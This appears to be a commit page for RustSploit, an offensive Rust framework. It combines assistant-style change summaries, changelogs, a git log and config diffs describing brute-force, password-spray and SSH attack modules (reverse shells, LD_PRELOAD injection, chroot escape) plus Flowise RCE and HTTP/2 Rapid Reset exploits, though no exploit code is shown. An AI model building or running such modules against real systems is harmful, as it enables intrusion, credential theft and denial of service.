snmp_bruteforce.rs	Added display_banner(), updated header styling
rtsp_bruteforce_advanced.rs	Added display_banner(), updated header styling
l2tp_bruteforce.rs	Added display_banner(), updated header styling
fortinet_bruteforce.rs	Added display_banner(), updated header styling
enablebruteforce.rs	Added display_banner(), full colored output
Standard Features Added

All modules now have:

 Cyan-bordered ASCII banner with module title
 Colored target information ([*] in cyan)
 Green success messages ([+])
 Yellow warning/failure messages ([-])
 Red error messages ([!])
 Consistent use of colored crate
 IPv6 address handling where applicable
 Timeout constants where applicable
The project compiles cleanly with cargo build and passes cargo clippy with no warnings.

Critical Issues Found:
SSH Bruteforce - Semaphore acquired BEFORE spawning task (blocks task creation)
FTP/RDP/SNMP Bruteforce - Missing progress statistics
Several modules - Missing retry logic and connection rate limit handling
Let me fix these:


Critical Fixes:

1. SSH Bruteforce - Fixed concurrency bug

The semaphore was being acquired BEFORE spawning the task, which serialized task creation. Now acquires permit INSIDE the spawned task for true concurrent execution.

2. Enable Bruteforce (ulimit) - Fixed non-functional code

Running ulimit -n 65535 in a subprocess does NOT affect the parent process. Rewrote to use setrlimit() syscall directly, which actually raises the file descriptor limit in the current process.
Standardized Features Added

Added Statistics tracking and real-time progress reporting to:
Module	Concurrency Model	Progress Reporting Added
FTP Bruteforce	tokio async + Semaphore	
RDP Bruteforce	tokio async + Semaphore	
SNMP Bruteforce	tokio async + spawn_blocking	
RTSP Bruteforce	tokio async + Semaphore	
L2TP Bruteforce	tokio async + Semaphore	
Fortinet Bruteforce	tokio async + Semaphore	
SMTP Bruteforce	ThreadPool + crossbeam	
Already Correctly Implemented

Module	Notes:

Telnet Bruteforce	Uses tokio async TcpStream (correctly async), already has statistics
POP3 Bruteforce	Uses ThreadPool + crossbeam (correct for blocking I/O), already has statistics
Concurrency Models Verified
Async modules (FTP, RDP, SSH, RTSP, L2TP, Fortinet, Telnet): Use tokio::net::TcpStream or spawn_blocking for blocking libraries - 

this is correct

Blocking modules (POP3, SMTP): Use ThreadPool with crossbeam_channel - this is correct for blocking socket I/O

All modules now have consistent:

Real-time progress reporting (attempts/s rate)
Statistics summary at completion
Colored output for success/failure/errors



All fixed. The warnings are resolved:

enablebruteforce.rs - Removed unused std::process::Command import (no longer needed since we now use the libc syscalls directly)
ftp_bruteforce.rs - Removed unused log function (replaced with inline colored output)
fortinet_bruteforce.rs - Removed unused log function (replaced with inline colored output)


Standardized Features Added:

Scanner	Banner	Colored Output	Statistics	Progress	Save Results
sample_scanner.rs	 Added	 Added	 Added		 Added
http_title_scanner.rs	 Enhanced	 Enhanced	 Added	 Added	 Already had
http_method_scanner.rs	 Enhanced	 Enhanced	 Added	N/A	 Already had
dns_recursion.rs	 Added	 Enhanced	 Added	N/A	N/A (targets output)
ssdp_msearch.rs	 Added	 Already had	 Added	N/A	 Added
port_scanner.rs	 Already had	 Already had	 Already had	 Already had	 Already had
ping_sweep.rs	 Already had	 Already had	 Already had	 Already had	 Already had

Key Improvements:

Consistent Banners - All scanners now display a cyan-colored ASCII banner with module description
Colored Output - Success (green), warnings (yellow), errors (red), info (cyan)
Statistics - All scanners report:
Total items scanned
Successful/Failed counts
Duration
Rate (where applicable)
Save Results - Option to save scan results to file
Progress Reporting - Real-time progress for longer scans
All modules compile cleanly with no warnings.


Security Enhancements Summary

main.rs

Added validate_bind_address() - validates bind address format using SocketAddr::parse(), checks length limits, control characters
Added validate_api_key() - validates API key length (max 256 chars), ensures only printable ASCII
Added validate_ip_limit() - validates IP limit range (1-10,000)
All CLI inputs are now validated before use

shell.rs

Added new constants: MAX_URL_LENGTH, MAX_PATH_LENGTH, MAX_PROMPT_INPUT_LENGTH

Enhanced prompt_for_path():

Length validation
Control character rejection
Path traversal prevention (.. blocked)

Enhanced prompt_string_default():

Length validation
Control character rejection
URL format validation (if input looks like URL)

Enhanced prompt_yes_no():

Max attempt limiting (10 attempts)
Length validation
Enhanced prompt_u64() and prompt_usize():
Max attempt limiting
Length validation
Strict digit-only validation
Overflow protection with saturating_add()

config.rs

Added MAX_TARGET_LENGTH and MAX_HOSTNAME_LENGTH constants

Enhanced set_target():

Length validation
Control character rejection
Path traversal prevention

Added validate_hostname_or_ip():

Hostname length validation (DNS max 253)
Valid character regex check
Format validation (no leading/trailing special chars)
Consecutive dot detection

api.rs

Added RequestBodyLimitLayer (1MB max) to prevent DoS via large payloads
Added MAX_TRACKED_IPS (100,000) and MAX_AUTH_FAILURE_ENTRIES (100,000) limits

Enhanced track_ip():

IP string length validation
Automatic cleanup when tracker exceeds limits
saturating_add() for overflow protection

Enhanced record_auth_failure():

IP string length validation
Automatic cleanup of expired/old entries
saturating_add() for overflow protection
utils.rs (already well-secured)
Already had comprehensive validation:
MAX_TARGET_LENGTH, MAX_MODULE_PATH_LENGTH, MAX_FILE_SIZE
Path traversal checks
File size limits
Proxy URL validation


---

## v0.4.0 - Comprehensive Security Hardening (November 2025)

###  Input Validation & Security (All Core Files)

#### main.rs

- **NEW:** `validate_bind_address()` - Validates bind address format using `SocketAddr::parse()`:
  - Length limits (max 128 characters)
  - Control character rejection
  - Socket address format validation
- **NEW:** `validate_api_key()` - Validates API key:
  - Length limits (max 256 characters)
  - Only printable ASCII characters allowed
  - Empty/whitespace rejection
- **NEW:** `validate_ip_limit()` - Validates hardening IP limit:
  - Range validation (1-10,000)
  - Prevents resource exhaustion

#### shell.rs

- **NEW Constants:**
  - `MAX_URL_LENGTH` (2048) - URL input length limit
  - `MAX_PATH_LENGTH` (4096) - File path length limit
  - `MAX_PROMPT_INPUT_LENGTH` (1024) - General prompt input limit

- **Enhanced `prompt_for_path()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..` blocked)

- **Enhanced `prompt_string_default()`:**
  - Length validation
  - Control character rejection
  - Automatic URL format validation when input looks like URL

- **Enhanced `prompt_yes_no()`:**
  - Max attempt limiting (10 attempts before default)
  - Length validation (max 10 chars)
  - Prevents infinite loops on bad input

- **Enhanced `prompt_u64()` and `prompt_usize()`:**
  - Max attempt limiting (10 attempts)
  - Length validation (max 20 chars)
  - Strict digit-only validation
  - Overflow protection
  - Better error messages

#### config.rs

- **NEW Constants:**
  - `MAX_TARGET_LENGTH` (2048) - Target string limit
  - `MAX_HOSTNAME_LENGTH` (253) - DNS hostname limit

- **Enhanced `set_target()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..`, `//` blocked)
  - Hostname/IP format validation

- **NEW:** `validate_hostname_or_ip()` - Validates hostname/IP:
  - Hostname length validation (DNS max 253)
  - Valid character regex check (`[a-zA-Z0-9.\-_:\[\]]+`)
  - Format validation (no leading/trailing special chars)
  - Consecutive dot detection

#### api.rs

- **NEW:** `RequestBodyLimitLayer` (1MB max) - Prevents DoS via large request bodies
- **NEW Constants:**
  - `MAX_REQUEST_BODY_SIZE` (1MB)
  - `MAX_TRACKED_IPS` (100,000)
  - `MAX_AUTH_FAILURE_ENTRIES` (100,000)

- **Enhanced `track_ip()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup when tracker exceeds limits
  - Prunes oldest entries, keeps most recent half
  - `saturating_add()` for overflow protection

- **Enhanced `record_auth_failure()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup of expired blocks and old entries (>1 hour)
  - `saturating_add()` for overflow protection
  - Memory-efficient housekeeping

#### Cargo.toml

- Added `limit` feature to `tower-http` for request body limiting

###  Summary

All user-facing input paths now have:

-  Length limits to prevent memory exhaustion
-  Control character rejection
-  Path traversal prevention
-  Format validation where applicable
-  Overflow protection
-  Maximum attempt limits on prompts
-  Automatic resource cleanup in API


Documentation Updates Summary


README.md (Main README)


Highlights Section: Added security hardening to feature list, expanded credential modules to include SNMP, L2TP, Fortinet
Module Catalog: Updated with all new modules (Flowise RCE, HTTP/2 Rapid Reset, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed) and expanded scanner capabilities (SYN/ACK scans)
Security Features Section: Added new "Input Validation & Security" subsection documenting:
Request body limiting (1MB)
API key validation
Target validation
Module path sanitization
Resource limits with automatic cleanup
Enhanced rate limiting with auto-cleanup
Enhanced hardening mode with auto-pruning
docs/readme.md (Developer Guide)
Table of Contents: Added new "Security & Input Validation" section
Code Layout: Updated to include api.rs, config.rs, and telnet-default/ directory
NEW Section - Security & Input Validation: Comprehensive developer guide including:
Input validation constants table (all limits across files)

Security patterns with code examples:

Input length validation
Control character rejection
Path traversal prevention
Hostname/target validation
Overflow protection
Prompt attempt limiting
API security implementation details
File operations security guidelines
lists/readme.md (Data Files Catalog)
Available Files: Added telnet-default/ directory with its files (usernames.txt, passwords.txt, empty.txt)
Ideas Section: Added suggestions for SNMP, Fortinet, and SSH default credential lists
NEW Section - Security Notes: Guidelines for contributing wordlists:
No malicious payloads
File size limits
UTF-8 encoding requirements
Line format standards

changelog.md

NEW Section - v0.4.0: Complete documentation of all security enhancements:
main.rs validation functions
shell.rs prompt hardening
config.rs target validation
api.rs resource limits and cleanup
Cargo.toml changes

---

## v0.4.1 - SSHPWN Integration (November 2025)

###  New SSH Attack Modules

Integrated comprehensive SSH attack framework based on OpenSSH 10.0p1 vulnerability analysis.

#### SFTP Attack Module (`exploits/ssh/sshpwn_sftp_attacks`)

Based on sftp-server.c vulnerabilities:

- **Symlink Injection** (process_symlink) - Create symlinks to sensitive files, bypass chroot
- **Setuid Bit Attack** (process_setstat 07777) - Set setuid/setgid bits on uploaded files
- **Path Traversal** (process_open) - Escape chroot restrictions
- **Partial Write Race** (process_write) - Exploit write atomicity issues

#### SCP Attack Module (`exploits/ssh/sshpwn_scp_attacks`)

Based on scp.c vulnerabilities:

- **Path Traversal** (sink function) - Write outside target directory
- **Username Shell Injection** (okname) - Shell metacharacter injection
- **Brace Expansion DoS** (brace_expand) - Client-side memory exhaustion
- **Command Injection** (do_cmd) - Inject commands via arguments

#### Session Attack Module (`exploits/ssh/sshpwn_session`)

Based on session.c vulnerabilities:

- **Environment Variable Injection** (do_setup_env) - Inject LD_PRELOAD, PATH, etc.
- **Command Execution** - Execute commands on authenticated targets
- **Reverse Shell** - Multiple payload types (bash, python, nc, perl, php, ruby)
- **File Upload/Download** - SFTP-based file transfer

###  New SSH Scanner (`scanners/ssh_scanner`)

Network reconnaissance for SSH services:

- CIDR range support
- IPv4/IPv6 support  
- Banner grabbing
- Concurrent scanning (configurable threads)
- Results export

###  New SSH Credential Modules

#### SSH User Enumeration (`creds/generic/ssh_user_enum`)

Timing attack for user enumeration (CVE-2018-15473 style):

- Measures authentication response timing
- Compares against baseline for invalid users
- Configurable samples and threshold
- Wordlist support

#### SSH Password Spray (`creds/generic/ssh_spray`)

Spray single password across multiple targets:

- Avoids account lockouts
- CIDR range support
- Concurrent spraying
- Results export

###  Module Summary

| Module | Path | Type |
|--------|------|------|
| SFTP Attacks | `exploits/ssh/sshpwn_sftp_attacks` | Exploit |
| SCP Attacks | `exploits/ssh/sshpwn_scp_attacks` | Exploit |
| Session Attacks | `exploits/ssh/sshpwn_session` | Exploit |
| SSH Scanner | `scanners/ssh_scanner` | Scanner |
| SSH User Enum | `creds/generic/ssh_user_enum` | Credential |
| SSH Spray | `creds/generic/ssh_spray` | Credential |

All modules feature:
s
-  Colored output with status indicators
-  Interactive configuration prompts
-  Input validation
-  IPv4/IPv6 support
-  Results export capability



SSHPWN Integration Summary

New SSH Exploit Modules (src/modules/exploits/ssh/)

1. sshpwn_sftp_attacks.rs - SFTP Attacks

Based on sftp-server.c vulnerabilities:

Symlink Injection - Create symlinks to read sensitive files like /etc/passwd, /etc/shadow
Setuid Bit Attack - Set setuid/setgid bits on uploaded files (07777 mask vulnerability)
Path Traversal - Escape chroot restrictions via traversal paths
Partial Write Race - Exploit write atomicity issues

2. sshpwn_scp_attacks.rs - SCP Attacks

Based on scp.c vulnerabilities:

Path Traversal - Protocol injection, null byte injection, newline injection
Username Shell Injection - Exploit incomplete okname() filtering ($(), backticks, pipes)
Brace Expansion DoS - Client-side memory exhaustion via {a,b}^n patterns
Command Injection - ProxyCommand, rsync-path, ControlPath injection

3. sshpwn_session.rs - Session Attacks

Based on session.c vulnerabilities:

Environment Injection - LD_PRELOAD, LD_LIBRARY_PATH, PATH, BASH_ENV injection
Command Execution - Execute arbitrary commands
Reverse Shells - 8 payload types (bash, python, python3, nc, perl, php, ruby)
File Upload/Download - SFTP-based transfer
New SSH Scanner (src/modules/scanners/)

ssh_scanner.rs - SSH Service Scanner

CIDR range support (192.168.1.0/24)
IP range support (192.168.1.1-254)
IPv4/IPv6 support
Banner grabbing
Concurrent scanning with configurable threads
Results export to file
New SSH Credential Modules (src/modules/creds/generic/)

ssh_user_enum.rs - User Enumeration (Timing Attack)

CVE-2018-15473 style timing attack
Measures authentication response times
Compares against baseline timing
Configurable samples and threshold
Wordlist support

ssh_spray.rs - Password Spray

Spray single password across multiple targets/users
Avoids account lockouts
CIDR range support
Concurrent spraying
Results export
Module Access Paths
Module	Full Path	Short Name
SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks	sshpwn_sftp_attacks
SCP Attacks	exploits/ssh/sshpwn_scp_attacks	sshpwn_scp_attacks
Session Attacks	exploits/ssh/sshpwn_session	sshpwn_session
SSH Scanner	scanners/ssh_scanner	ssh_scanner
User Enumeration	creds/generic/ssh_user_enum	ssh_user_enum
Password Spray	creds/generic/ssh_spray	ssh_spray
All modules compile cleanly and follow the RustSploit patterns with colored output, interactive prompts, and input validation.


Summary of fixes:

Fixed format string error in sshpwn_scp_attacks.rs:227:
Rust doesn't support Python's {:,} format for thousands separators
Added a format_number() helper function that formats numbers with comma separators
Removed unused import in sshpwn_sftp_attacks.rs:15:
Changed use ssh2::{Session, Sftp} → use ssh2::Session
Fixed unused variable in sshpwn_scp_attacks.rs:176:
Changed port: u16 → _port: u16
Fixed unused variable in sshpwn_session.rs:94:
Changed timeout: u64 → _timeout: u64
Build result: Finished dev profile [unoptimized + debuginfo] target(s) in 24.64s with exit code 0 - no warnings or errors!

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Complete SSH Module Implementation

Module	Path	Attacks Implemented

SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks.rs	Symlink injection, Setuid bit, Path traversal, Partial write
SCP Attacks	exploits/ssh/sshpwn_scp_attacks.rs	Path traversal, Username injection, Brace DoS, Command injection
Session Attacks	exploits/ssh/sshpwn_session.rs	Env injection, Command exec, Interactive shell, Reverse shell, Upload/Download
Auth Password	exploits/ssh/sshpwn_auth_passwd.rs	Password length DoS, Password change info leak, Auth timing attack, Bcrypt truncation
SSH Scanner	scanners/ssh_scanner.rs	CIDR scan, Banner grab, Concurrent scanning
SSH User Enum	creds/generic/ssh_user_enum.rs	Timing-based user enumeration
SSH Spray	creds/generic/ssh_spray.rs	Password spray across targets
SSH Bruteforce	creds/generic/ssh_bruteforce.rs	Credential bruteforce

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Build Complete - All Warnings Fixed

SSH Modules Wired:

Exploit Modules (6):

Module	Description
sshpwn_auth_passwd	Auth password attacks (length DoS, timing, bcrypt truncation)
sshpwn_pam	PAM attacks (memory exhaustion, env injection, timing)
sshpwn_session	Session attacks (exec, revshell, interactive shell, upload/download)
sshpwn_scp_attacks	SCP attacks (traversal, username injection, brace DoS, cmd injection)
sshpwn_sftp_attacks	SFTP attacks (symlink, setuid, traversal, partial write)
opensshserver_9_8p1race_condition	Race condition exploit
Credential Modules (3):
Module	Description
ssh_bruteforce	SSH credential brute force
ssh_spray	SSH password spraying
ssh_user_enum	SSH user enumeration (timing attack)
Scanner Modules (1):
Module	Description
ssh_scanner	SSH service discovery and banner grabbing

Fixes Applied:

 Removed unused HashMap import from sshpwn_pam.rs
 Removed unused Read import from sshpwn_auth_passwd.rs
 Fixed unused port variable - now used in output
 Removed unused DEFAULT_TIMEOUT_SECS constant
 Removed unused prompt() function
 Removed unused PathBuf imports from generator files
 Added sshpwn_pam to mod.rs
2025-11-28 22:34:31 +02:00
S.B 66964ba639 Update readme.md 2025-11-28 22:31:14 +02:00
S.B cb3ad7c22d Update extra.txt 2025-11-28 22:30:34 +02:00
S.B 423b0e0838 Update Cargo.toml 2025-11-28 22:28:53 +02:00
S.B cb053d5be3 Update readme.md 2025-11-28 22:27:50 +02:00
S.B 39c8d8ccc8 Update README.md 2025-11-28 22:26:17 +02:00
S.B b2c85875fa Update changelog.md 2025-11-28 22:23:00 +02:00
S.B ee6d4e399e Add files via upload 2025-11-28 22:22:17 +02:00
S.B 8af6d45e32 Delete src directory 2025-11-28 22:19:19 +02:00
S.B a0c8c723dc Update changelog.md 2025-11-26 16:59:39 +02:00
S.B 97c366a846 Update Cargo.toml 2025-11-26 16:58:57 +02:00
S.B 7fc4148202 Add files via upload 2025-11-26 16:57:48 +02:00
S.B ab8256fc19 Delete src directory 2025-11-26 16:55:31 +02:00
S.B 3403cec7f9 Merge pull request #27 from s-b-repo/rust-2024-edition-migration
Rust 2024 edition migration
2025-11-26 16:48:21 +02:00
S.B 99e31b1c2f Update Cargo.toml 2025-11-24 15:03:07 +02:00
S.B c9e93614a4 Add files via upload 2025-11-24 14:59:46 +02:00
S.B 227dc38663 Delete preview.png 2025-11-24 14:59:29 +02:00
S.B b1ca5f1151 Add files via upload 2025-11-24 14:58:34 +02:00
S.B 6c153eee99 Delete src directory 2025-11-24 14:56:45 +02:00
S.B c9712dc4a9 Add files via upload 2025-11-24 14:53:44 +02:00
S.B be1c4158af Delete src directory 2025-11-24 14:52:09 +02:00
S.B 26913cdbf6 Merge pull request #26 from s-b-repo/beta-testing
Beta testing
2025-11-24 14:16:37 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
S.B 9ac7c7fce2 Merge pull request #21 from s-b-repo/dockerize
Dockerize
2025-11-14 15:24:46 +02:00
S.B 268f7cec4f Update README.md 2025-11-14 13:37:38 +02:00
S.B 64c10cde10 Update Cargo.toml 2025-11-14 13:36:22 +02:00
S.B e534341e82 Update changelog.md 2025-11-14 10:09:01 +02:00
S.B ed30bde3ee Update changelog.md 2025-11-14 10:08:20 +02:00
S.B f166b8ac51 Add files via upload 2025-11-14 10:07:31 +02:00
S.B 7e2a244fe5 Add files via upload 2025-11-14 10:06:55 +02:00
S.B 512c75ebf1 Delete src directory 2025-11-14 10:03:32 +02:00
S.B af7b2fc80f Update README.md 2025-11-13 09:58:18 +02:00
S.B 1cdebfead5 Update README.md 2025-11-13 09:57:09 +02:00
S.B 472238a883 Update changelog.md 2025-11-13 09:42:40 +02:00
S.B 408007fded Merge pull request #20 from s-b-repo/api-mode-build.rs-improvements-scanner-improvements
Api mode build.rs improvements scanner improvements
2025-11-13 09:42:08 +02:00
S.B 5cb4694bad Update Cargo.toml 2025-11-13 09:39:39 +02:00
S.B 28c9d27857 Add files via upload
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator


Flowise RCE Module (CVE-2025-59528)

Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic

Framework Integration:

Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output

Framework Integration:

Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset

Dependencies Added:

h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types


Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>



Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages



Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.


Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
2025-11-13 09:38:57 +02:00
S.B de0ed82830 Delete src directory 2025-11-13 09:37:40 +02:00
S.B f4a554accf Update build.rs 2025-11-12 20:20:03 +02:00
S.B 2e046a4ced Remove assignment details from extra.txt
Removed specific assignment details for a Rust driver.
2025-11-12 20:18:48 +02:00
S.B fd5a180702 Refactor Cargo.toml to remove duplicates
Removed duplicate package information and cleaned up dependencies.
2025-11-12 20:17:37 +02:00
S.B 80903bfdc4 Update Cargo.toml with new dependencies
Added various dependencies for networking, exploitation, and utilities.
2025-11-12 20:17:17 +02:00
S.B 8df8849401 Update changelog.md 2025-11-12 20:16:17 +02:00
S.B b48de95cca Add files via upload 2025-11-12 20:15:32 +02:00
S.B 75c4a0fd71 Delete src directory 2025-11-12 20:14:10 +02:00
S.B 5975adce78 Merge pull request #19 from s-b-repo/livaetina-refomration
Livaetina refomration
2025-11-12 19:40:09 +02:00
S.B 1246b3f4b7 Revise README with updates and new module details
Updated README to enhance clarity and detail about Rustsploit's features, modules, and usage. Added new modules and improved documentation.
2025-11-12 18:35:05 +02:00
S.B b148f8ba14 Add files via upload 2025-11-12 18:31:45 +02:00
S.B d4dd665efd Add files via upload 2025-11-12 18:21:23 +02:00
S.B a5b6261101 Delete docs directory 2025-11-12 18:21:04 +02:00
S.B 06915cbc35 Add files via upload 2025-11-12 18:19:44 +02:00
S.B b9ace5a109 Delete lists directory 2025-11-12 18:19:20 +02:00
S.B 04f1e67758 Add files via upload 2025-11-12 18:18:49 +02:00
S.B 15a12d57e9 Delete src directory 2025-11-12 18:16:46 +02:00
S.B e49f55eb21 Update README.md 2025-11-09 03:05:57 +02:00
S.B 9865225e99 Bump version to 0.2.0 and update sysinfo
Updated package version and dependencies.
2025-11-09 03:03:04 +02:00
S.B 3b33e40727 Add files via upload 2025-11-09 03:01:14 +02:00
S.B 759f733650 Create test.txt 2025-11-09 03:00:23 +02:00
S.B 5873ba0d5a Delete src directory 2025-11-09 02:59:43 +02:00
639 changed files with 197966 additions and 7134 deletions
+16
View File
@@ -0,0 +1,16 @@
[build]
# Sparse registry protocol — much faster index updates (default on 1.70+, set explicitly).
# Set CARGO_TARGET_DIR in your shell to share build artifacts across projects.
[target.x86_64-unknown-linux-gnu]
linker = "clang"
# Prefer mold if installed (`sudo apt install mold`); fall back to lld otherwise.
# Swap "-fuse-ld=lld" -> "-fuse-ld=mold" after installing mold.
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
[target.aarch64-unknown-linux-gnu]
linker = "clang"
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
[registries.crates-io]
protocol = "sparse"
-22
View File
@@ -1,22 +0,0 @@
name: Rust
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
env:
CARGO_TERM_COLOR: always
jobs:
build:
runs-on: Kali
steps:
- uses: actions/checkout@v4
- name: Build
run: cargo build --verbose
- name: Run tests
run: cargo test --verbose
+46
View File
@@ -0,0 +1,46 @@
# Build artifacts
/target/
**/__pycache__/
*.log
# Local agent / editor config
/.claude/
# Separate sub-projects / scratch analysis (not part of rustsploit core)
/arcticalopex/
/_analysis/
/addme/
# Audit & scratch artifacts
/AUDIT_FINDINGS.md
/audit-findings.md
/_audit_findings.json
/_audit_summary.txt
/arcticalopex_audit.md
/arcticalopex_audit_phase_a_b_d_summary.md
/arcticalopex_wiring_audit.md
/rustsploit_audit.md
/bugs.txt
/todo.txt
/test.txt
# Engagement data / secrets — NEVER commit
/creds.txt
/found_backend2026.csv
/results.txt
/results_*.txt
/hydra_targets_*.txt
/hydra.restore
/paused.conf
/blocklist.conf
/*.gnmap
/za-target.txt
/za_targets_final.txt
/xneelo
/xneelo_mapp.txt
/should_not_exist2.bat
# Stray placeholder files
/src/t
